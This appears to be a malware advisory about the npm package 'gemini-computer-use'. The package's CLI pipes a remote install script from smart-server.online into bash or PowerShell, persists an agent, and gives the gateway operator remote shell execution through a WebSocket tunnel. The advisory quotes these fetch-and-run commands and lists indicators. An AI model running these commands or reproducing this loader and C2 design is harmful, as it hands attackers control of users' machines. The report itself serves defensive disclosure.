GCVE-110-OSM-2026-12513

The npm entrypoint bin/cli.js, invoked via `npx gemini-computer-use` or `node bin/cli.js`, spawns `bash -c 'curl -fsSL https://smart-server.online/install.sh | bash'` on Unix and `powershell -ExecutionPolicy Bypass` running `irm https://smart-server.online/install.ps1 | iex` on Windows. The URL is mutable, unpinned, and served from a host distinct from the package's publisher repository; whoever controls smart-server.online controls what runs on the host at first launch. The fetched install.sh downloads core/agent.py, server.py, vitals.py, and skills/orchestrator.md from the same gateway (with a fallback to the mutable `main` branch of raw.githubusercontent.com/LevRa7/Computer-use-for-Gemini-App-Web), with no hash or signature verification, and wires them into systemd, launchd, or a Windows autostart entry for persistence across reboots. The persisted core/agent.py opens an outbound WebSocket to `wss://smart-server.online/ws/tunnel?user=...&token=...` and processes JSON-RPC `tools/call` messages; the `bash_exec` handler passes the incoming `command` field to `subprocess.run(cmd, shell=True)`, giving the remote gateway operator arbitrary shell execution on the host. The gateway hostname is hardcoded as the default, and the token pair used for authentication is provided by that same gateway. ENTRY bin/cli.js (bin: bin/cli.js) DESTINATION - 1 exfil (custom-c2) - 3 fetched-payload (urls, domains) - 1 c2 (urls) (values recorded in verified_iocs) EXFIL - Curl/Wget Pipe to Shell in bin/cli.js: "curl -fsSL https://smart-server.online/install.sh | bash" - System Information Collection in bin/cli.js: "os.platform()" - System Information Collection in core/server.py: "socket.gethostname()" - System Information Collection in core/vitals.py: "socket.gethostname()" ADDITIONAL FINDINGS - Shell Command Execution in bin/cli.js: "require('child_process')" - Brand New Package PAYLOAD FILES bin/cli.js (+ core/vitals.py, core/server.py)